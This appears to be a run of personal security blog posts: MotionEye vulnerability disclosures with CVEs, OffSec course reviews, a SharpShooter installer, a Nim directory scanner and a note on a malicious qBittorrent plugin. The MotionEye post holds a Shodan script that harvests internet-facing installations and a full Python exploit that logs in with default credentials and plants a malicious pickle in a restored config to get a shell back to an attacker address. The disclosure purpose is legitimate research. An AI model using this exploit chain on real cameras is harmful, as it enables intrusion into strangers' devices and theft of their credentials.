Edit: This was given CVE-2022-25568. As mentioned in my previous posts here and here, I’ve done a little digging into the conditions that are required for the MotioneEye config file to be world viewable, and I’ve reached this conclusion:
As long as a “user” password is not set, the config file will be world readable. Even if an “admin” password has been set, the /config/list file will still be readable by everybody. So, while someone could think they are doing the correct thing by creating a password for the admin user, they may still be leaking private information. Here is a innocuous example from a live instance:
As you can see in this picture, IP addresses/services/passwords are exposed. This is a rather innocuous example, being that it is an internal IP address, but it illustrates how this could be an issue. Imagine if those were your public FTP server credentials. Or if they were your gmail credentials for smtp notifications. The list goes on.
Along with usernames, passwords, auth keys, and email addresses, these config files also contain less sensitive information like internal network IP addresses and URLs, drive and mounting information.
In many ways this vulnerability may be worse that the MotionEye RCE vulnerability that I reported and received a CVE for. In that case, the admin password needed to be left blank (or easily guessed) for someone to get into the admin panel and achieve RCE. In this case, a user could think they’re being secure by setting an admin password, but they leave the user password blank – and the config remains viewable.
I’ve found gmail, gdrive, ftp, sftp, telegram stuff (not sure how auth works there), etc. all exposed to the WWW in these files.
I’ve submitted an issue on the MotionEye github page, but if it is anything like last time, they don’t plan on fixing it/see it as a non-issue.
Edit: The issue was closed before I even finished this post.
Edit: The issue was reopened and I submitted a pull request to fix the issue, although my fix was not tested much, so it may not work properly.
You know, OffSec describes the OSEP as: “Evasion Techniques and Breaching Defenses (PEN-300) is an advanced penetration testing course”. I don’t know how advanced it is, if I can pass, lol. I generally have no idea what I’m doing.
Anyway, I really liked the course. There is a lot of material to keep you busy. Unless you’re already familiar with a large chunk of the topics, you’re probably best-served by purchasing the 90 day version of the course. The challenge labs are fun. Make sure you do them before the exam.
The exam was challenging, but fair. You should be able to figure out what you need to do next somewhat quickly, but executing it may be a different story, if you’re anything like me. Just ask yourself, “What did I just accomplish, and what does that allow me to do now?” If you’ve completed the challenge labs, you will be well-prepared for the exam. Some people say to make sure you do all the questions and extra miles in the lab manual, but I only did, I don’t know, 30% of them?
I don’t know what’s next for me. I have a voucher to do the OSED, but I’m a little burned out at this point. I’ll probably put that off until the summer – because who doesn’t like sitting inside and writing exploits when the weather is nice?
I was given CVE-2021-44255 for this – authenticated RCE via a malicious tasks (python pickle) file. So that’s fun. Even though it is authenticated, the default username is admin and the default password is blank, so you know how these things go. I actually haven’t heard of any MotionEye instances being used in botnets or anything.
I should probably request a CVE for the unauthenticated information disclosure that I found, but I need to do some more research on that one.
Newer versions of Linux may not come with any sort of Python 2 installed. I recently wanted to run Sharpshooter, which is a “payload creation framework for the retrieval and execution of arbitrary CSharp source code.”
Problem is, Python 2 isn’t installed by default on Ubuntu 21.xx and neither is pip2. You also need to install an older (I think) version of jsmin – at least that’s what worked for me.
Use this script to install everything and get it up and running.
if [ "$EUID" -ne 0 ]
then echo "Run as root!"
exit
fi
# clone sharpshooter from github
git clone https://github.com/mdsecactivebreach/SharpShooter.git
add-apt-repository universe && apt update
apt install git curl
# install python2.7 and pip2
apt install python2.7 -y
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
chmod +x ./get-pip.py
sudo python2.7 ./get-pip.py
# install correct jsmin
wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
python2.7 ./jsmin-2.2.2/setup.py install
MotionEye is an open source, web-based GUI for the popular Motion CLI application found on Linux. I’ve known of the Motion command line app for years, but I didn’t know that MotionEye existed. I ran across it while trying to find a multiple webcam, GUI or web based solution for future projects.
MotionEye comes in a couple forms – a standalone app, which I used the docker container version of, or a “whole” operating system, MotionEyeOS, to install on a Raspberry Pi.
Starting off, I used Shodan search to find internet facing installations. Here is the script I used for that. If you use this script, you’ll need to put in your API key and the limit parameter, which limits the API queries that you use.
#!/usr/bin/env python3
import sys
# pip3 install shodan
from shodan import Shodan
import requests
# check for api key
api = Shodan('') # Insert API key here
if api.api_key == '':
print("No API key found! Exiting")
sys.exit(1)
limit = 1000 # set this to limit your api query usage
counter = 0
url_file = open("urls.txt", "w")
for response in api.search_cursor('Server: motionEye'):
ip = response['ip_str']
port = response['port']
url = f'http://{ip}:{port}'
url_file.write(url + '\n')
# Keep track of how many results have been downloaded so we don't use up all our query credits
counter += 1
if counter >= limit:
break
url_file.close()
I ran out of query credits when I ran this script. There are thousands of installations out there. This script will output the IP addresses of those installations.
Finding Live Feeds
In my review of the application, I found that you can make a query to the /picture/{camera-number}/current/ endpoint, and if it returns a 200 status code, it means that the feed is open to the public. You can also increment the camera-number an enumerate the numbers of cameras a feed will actually have, even if it isn’t available to view.
I took the output of motioneye-shodan.py script above, and fed it to live-feeds.py script below.
This script outputs the URL of camera feeds that we can view. But the real question here is, what security issues are there with MotionEye?
Information Leakage
It turns out that if you make a get request to the following endpoint /config/list, some of the feeds will return their config files. Most of the time these config files are innocuous. I’m not sure why these are publicly accessible even if the feed is publicly accessible. Maybe it is used as an API endpoint of some sort. I need to dig into the code some more.
However, sometimes these config files contain some very sensitive information. Consider the following config with email_notifications_smtp_password and email_notifications_addresses removed. These passwords are supposed to be for services that the public cannot access, but unfortunately people like to reuse passwords. Again, why is this file even readable?
Along with the occasional password, email addresses are in here, internal IP addresses and ports, mounting points for local drives, etc.
Rate-Limiting and Default Credentials
So, the default installation of MotionEye uses the username of admin and a blank password. Additionally, MotionEye does not seem to institute any sort of rate limiting on login attempts. This is a recipe for disaster.
Authenticated RCE Method #1
Once logged in, I found two simple methods of code execution. The first of which is a classic Python cPickle deserialization exploit.
In the configuration section of the application, there is an option to backup and restore the application configurations. It turns out that if you include a malicious tasks.pickle file in the config you are restoring with, it’ll be written to disk and will be loaded when the application is restarted automatically or manually.
You can simply download the current configuration to use it as a template. After downloading and extracting it, slide your malicious tasks.pickle file and tar.gz everything back up.
The final structure of my motioneye-config.tar.gz for the docker container is as follows:
Pause here: You see, those are ssh keys. So you say why don’t we just try ssh? Go for it. You also may not even need a password, but some people have either secured ssh or disabled ssh on the actually raspberry pi, so it won’t work. A lot of these instances will have ssh turned off, and if it is running in docker, you probably won’t be able to download the ssh keys. Also, it is more fun to write scripts in Python.
Once the configuration is uploaded, wait for the app to reload, or, in unfortunate cases, wait for the app to be reloaded by mother nature or the victim. From what I can see, the docker application will not autoreboot. Here is a Python 3 script that will do all of this. Also, see the github repo, which may be more updated.
#!/usr/bin/env python3
import requests
import argparse
import os
import pickle
import hashlib
import tarfile
import time
import string
import random
from requests_toolbelt import MultipartEncoder
import json
# proxies = {"http": "http://127.0.0.1:9090", "https": "http://127.0.0.1:9090"}
proxies = {}
def get_cli_args():
parser = argparse.ArgumentParser(description="MotionEye Authenticated RCE Exploit")
parser.add_argument(
"--victim",
help="Victim url in format ip:port, or just ip if port 80",
required=True,
)
parser.add_argument("--attacker", help="ipaddress:port of attacker", required=True)
parser.add_argument(
"--username", help="username of web interface, default=admin", default="admin"
)
parser.add_argument(
"--password", help="password of web interface, default=blank", default=""
)
args = parser.parse_args()
return args
def login(username, password, victim_url):
session = requests.Session()
useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
headers = {"User-Agent": useragent}
login_url = f"http://{victim_url}/login/"
body = f"username={username}&password={password}"
session.post(login_url, headers=headers, data=body)
return session
def download_config(username, victim_url, session):
download_url = f"http://{victim_url}/config/backup/?_username={username}&_signature=5907c8158417212fbef26936d3e5d8a04178b46f"
backup_file = session.get(download_url)
open("motioneye-config.tar.gz", "wb").write(backup_file.content)
return
def create_pickle(ip_address, port):
shellcode = "" # put your shellcode here
class EvilPickle(object):
def __reduce__(self):
cmd = shellcode
return os.system, (cmd,)
# need protocol=2 and fix_imports=True for python2 compatibility
pickle_data = pickle.dumps(EvilPickle(), protocol=2, fix_imports=True)
with open("tasks.pickle", "wb") as file:
file.write(pickle_data)
file.close()
return
def decompress_add_file_recompress():
with tarfile.open("./motioneye-config.tar.gz") as original_backup:
original_backup.extractall("./motioneye-config")
original_backup.close()
original_backup.close()
os.remove("./motioneye-config.tar.gz")
# move malicious tasks.pickle into the extracted directory and then tar and gz it back up
os.rename("./tasks.pickle", "./motioneye-config/tasks.pickle")
with tarfile.open("./motioneye-config.tar.gz", "w:gz") as config_tar:
config_tar.add("./motioneye-config/", arcname=".")
config_tar.close()
return
def restore_config(username, password, victim_url, session):
# a lot of this is not necessary, but makes for good tradecraft
# recreated 'normal' requests as closely as I could
t = int(time.time() * 1000)
path = f"/config/restore/?_={t}&_username={username}"
# admin_hash is the sha1 hash of the admin's password, which is '' in the default case
admin_hash = hashlib.sha1(password.encode("utf-8")).hexdigest().lower()
signature = (
hashlib.sha1(f"POST:{path}::{admin_hash}".encode("utf-8")).hexdigest().lower()
)
restore_url = f"http://{victim_url}/config/restore/?_={t}&_username=admin&_signature={signature}"
# motioneye checks for "---" as a form boundary. Python Requests only prepends "--"
# so we have to manually create this
files = {
"files": (
"motioneye-config.tar.gz",
open("motioneye-config.tar.gz", "rb"),
"application/gzip",
)
}
useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
boundary = "----WebKitFormBoundary" + "".join(
random.sample(string.ascii_letters + string.digits, 16)
)
m = MultipartEncoder(fields=files, boundary=boundary)
headers = {
"Content-Type": m.content_type,
"User-Agent": useragent,
"X-Requested-With": "XMLHttpRequest",
"Cookie": "meye_username=_; monitor_info_1=; motion_detected_1=false; capture_fps_1=5.6",
"Origin": f"http://{victim_url}",
"Referer": f"http://{victim_url}",
"Accept-Language": "en-US,en;q=0.9",
}
response = session.post(restore_url, data=m, headers=headers, proxies=proxies)
# if response == reboot false then we need reboot routine
content = json.loads(response.content.decode("utf-8"))
if content["reboot"] == True:
print("Rebooting! Stand by for shell!")
else:
print("Manual reboot needed!")
return
if __name__ == "__main__":
print("Running exploit!")
arguments = get_cli_args()
session = login(arguments.username, arguments.password, arguments.victim)
download_config(arguments.username, arguments.victim, session)
# sends attacker ip and port as arguments to create the pickle
create_pickle(arguments.attacker.split(":")[0], arguments.attacker.split(":")[1])
decompress_add_file_recompress()
restore_config(arguments.username, arguments.password, arguments.victim, session)
Authenticated RCE Method #2
Another method of code execution involves motion detection. There is an option to run a system command whenever motion is detected. The security implications of this are obvious.
python rev shell
Conclusion
While authentication is needed for RCE, the presence of default credentials and lack of rate limiting make obtaining authentication straightforward. There are a lot of people running this software in a vulnerable manner.
As per my usual advice, don’t expose MotionEye to the WWW. Like all the self-hosted solutions, I advise you to install this to face your internal network and then connect to your internal network via OpenVPN or Wireguard.
Update: I was give CVE-2021-44255 for the python pickle exploit.
IDK where I have been, but I never heard of this language until today. So, what’s the first thing you do when you learn about a language? You write a directory enumeration script with it.
Please disregard my horrible code, inability to follow Nim standards and philosophies, and the general hackiness of this code.
import httpclient
import parseopt
import strutils
import system
var p = initOptParser()
var wordlist: string
var url: string
while true:
p.next()
case p.kind
of cmdEnd: break
of cmdShortOption, cmdLongOption:
if p.key == "u":
url = p.val
if p.key == "w":
wordlist = p.val
of cmdArgument:
echo ""
let contents = readFile(wordlist)
let words = contents.splitLines()
var final_url: string
var client = newHttpClient(timeout = 100)
for i in 0 ..< words.len:
final_url = url & "/" & words[i]
try:
let response = client.request(final_url, httpMethod = HttpGet)
let status_code = response.status.split(' ')[0]
if status_code == "200":
echo final_url
except:
echo ""
All this code does is take a url parameter and a wordlist parameter and makes http get requests to the url + wordlist entry – standard directory enumeration stuff. If the response code is 200, that url gets sent to stdout.
As time permits I’ll update this app. It’d be cool to have it much more feature complete like gobuster, wfuzz, et. al. For now, see the github respository for more information.
I just started this course the other day. I’m already neck deep in VBA, C#, and Powershell, which I need more experience in anyway. I had to do some C# for the AWAE/OSWE and I’ve written a couple very small web apps in C#. I’ve done a very minimal amount of Powershell, though I’ve been meaning to change that.
I know a lot of people say the OSCP is lacking in Active Directory attacking, which may be true. I’d counter by saying what the OSCP doesn’t cover, PEN-300 will cover. The courses go hand in hand. My early opinion is that anybody that takes and passes the OSCP should do PEN-300
All in all, I’m pleased so far. I’m only about 1/7th of the way through the PDF, though. I have a lot to go. With all that I have going on IRL, I’m not sure I’ll be able to finish it in the two months I’m allotted – I may have to get an extension.
My plan is to pass the OSEP exam in October and then start the EXP-301 course and pass that exam by the end of the year. This is an aggressive, and probably unrealistic goal, but oh well, haha.
Anyway, I’ll be back with a full report after the exam.
For people unfamiliar with this course and exam, here is a link to the Offensive security website. I’ve also written about it before, so you can check my post history. Basically the course is a giant pdf and a bunch of videos that go over web application attacks. You then get access to a lab consisting of 13 machines that are running a wide variety of vulnerable web-apps. In regards to languages/DBs/tech, this course covers VSCode, Visual Studio, JDGui, Javascript, PHP, Node, Python, Java, C#, mysql, and postgres – so it’s pretty thorough.
The exam is a 48 hour long exam where they give you access to two machines running vulnerable web-apps. You have to bypass auth on them to get administrator access and then escalate your attack to full-blown remote code execution. You’ll get two debugging machines that are running the same apps as the exam machines. You get full access to the app source code – this is a white-box course after all. You have to review the code base, and then use these debugging machines to develop ‘one-shot’ exploit script that bypasses auth and trigger RCE. I used python, as do most people, I think.
Oh yeah, and they watch you on camera the whole time.
After the exam time is up, assuming you have enough points to pass, you have another 24 hours to write an exam report documenting what you found and how you exploited it.
> How did it go?
First things first: I had to take this one twice. My power went out twice, briefly, and my father had to go to the hospital (he’s fine) during my first attempt. Even though he lives hours away, and there wasn’t much I could do, I was a little distracted. And it wasn’t like I was in front of the computer for the full 48 hours. I took a break about every 1.5 hours or so and slept 5-6 hours both nights.
Nevertheless, I still managed RCE on one of the boxes, and if I had another hour or so, I would have had an auth bypass on the second box – which would likely have let me pass. I look back and I just kind of laugh at how I failed it. I missed something simple that would have given me enough points to pass. I even knew what I needed – I just overlooked it.
I actually noticed the vulns on both boxes within an hour of looking at them. I then went down some rabbit holes for a bit and got sidetracked – especially on the box that I considered the harder one.
The second time around I crushed the exam in about 8 hours – RCE on both boxes. I had my report turned in at the 20 hour mark or so – and I was lollygagging.
If you don’t know me, my background is this: I’m not a professional developer. I don’t work in IT. I have never worked in IT. I just like computers. If I can pass this exam, so can you.
> Advice and Review
My advice for people that are preparing to take this exam is to just take their time and read the code. You need to know how to get the VSCode debugging going. It is a lifesaver. It is probably hard to pass if you don’t get it working. If you follow the code flow in a debugger, things should pop out at you. With that said, they do throw in a couple curve balls, which I bet throws some people for a loop. Now these curve balls aren’t hard to hit, per se, but someone that hasn’t been in the infosec/CTF/bug bounty world may miss these things.
Another question that I’ve been asked is, “Do you need an OSCP to do this couse?” I’ve changed my mind on this several times, and while I think an OSCP will give you a leg up, you don’t really need to have one – especially if you’re already involved the hacking/bug bounty/CTF world. If you’re coming at it straight from being a developer, it may not hurt to expose yourself to this stuff beforehand.
All in all, I’d say the exam was fair and maybe a little on the easy side. I say that as someone that failed it once, too, haha. But not only that, the exam is also a lot of fun. I love the Offensive Security exams. Some people will probably hate me for saying that, but they are a lot of fun.
TLDR: Read the code before you install random qbittorent plug-ins.
qBittorrent has a feature that allows you to install a search plugin to search for torrents on your favorite sites. These plugins are written in Python, and although I haven’t reviewed the qBittorrent source code, it appears as if you can simply execute arbitrary code via these plugins. qBittorrent does not seem to do any sort of sanitization.
I added a reverse shell class to an already existing search plugin. The shell should work on Windows and Linux. Although, qBittorrent seems to have some issues with what version of Python you are using. Nevertheless, be aware that unsanitized code can be ran via the search plugin feature.
Here is a link to the malicious qBittorrent search plugin.
I recently was enrolled in the Offensive Security Advanced Web Attacks and Exploits course. This is the newer version of the course, and it leads to the Offensive Security Web Expert Certification. Well, you’ll get the cert after you pass a 48 hour hands-on exam and write a report of your findings. Fun.
First off, I have bug bounty hunting/web app testing experience, so some of the material in the course is not new to me. With that said, the material is presented well, and I enjoyed being able to see somebody else’s methodology of going from initial exploit to full-blown remote code execution. And I definitely still learned a lot along the way.
I’m a mostly self-taught hacker, as are a lot of people in the field. Unfortunately, I find that when I learn on my own, I miss some things along the way. Usually it’s just little time-saving tricks or different ways of doing things, but sometimes I miss things that may cost me money in the bug hunting world. So, I like to supplement the self-learning with some courses occasionally.
If you’re reading this, you probably know how the labs are set up. You get access to 12 boxes running vulnerable software. You exploit them from initial exploit to RCE. The course manual and videos walk you through it, and then they give you “extra miles” to complete, if you’re inclined. The course manual and videos are well put together and explain all the exploits thoroughly.
Should you purchase this course? That depends. I think if you’re already established in the field and making some money bug hunting, you can probably pass it over. If you’re looking to make a transition into web-app pentesting from dev work, it would be a good choice for you. If you’re looking to challenge yourself, go for it. If you’re looking to bolster the resume, go for it.
What do you need to know to complete the course? Well, my skills in C# and Java are a little lacking, so those parts were the most challenging for me, but they were also the parts where I learned the most. I’ve seen some people recommend having an OSCP cert before starting the AWAE, but I don’t think that’s necessary. They are different beasts, and while there is some overlap, it isn’t much. I’d say having a thorough understand of Python (requests package and sessions), and Linux is much more helpful than having an OSCP. The course touches PHP, Node, regular Javascript, Python, C#, and Java (am I forgetting anything?), so if you are lacking experience in any of those, I’d recommend familiarizing yourself with them before you start the course.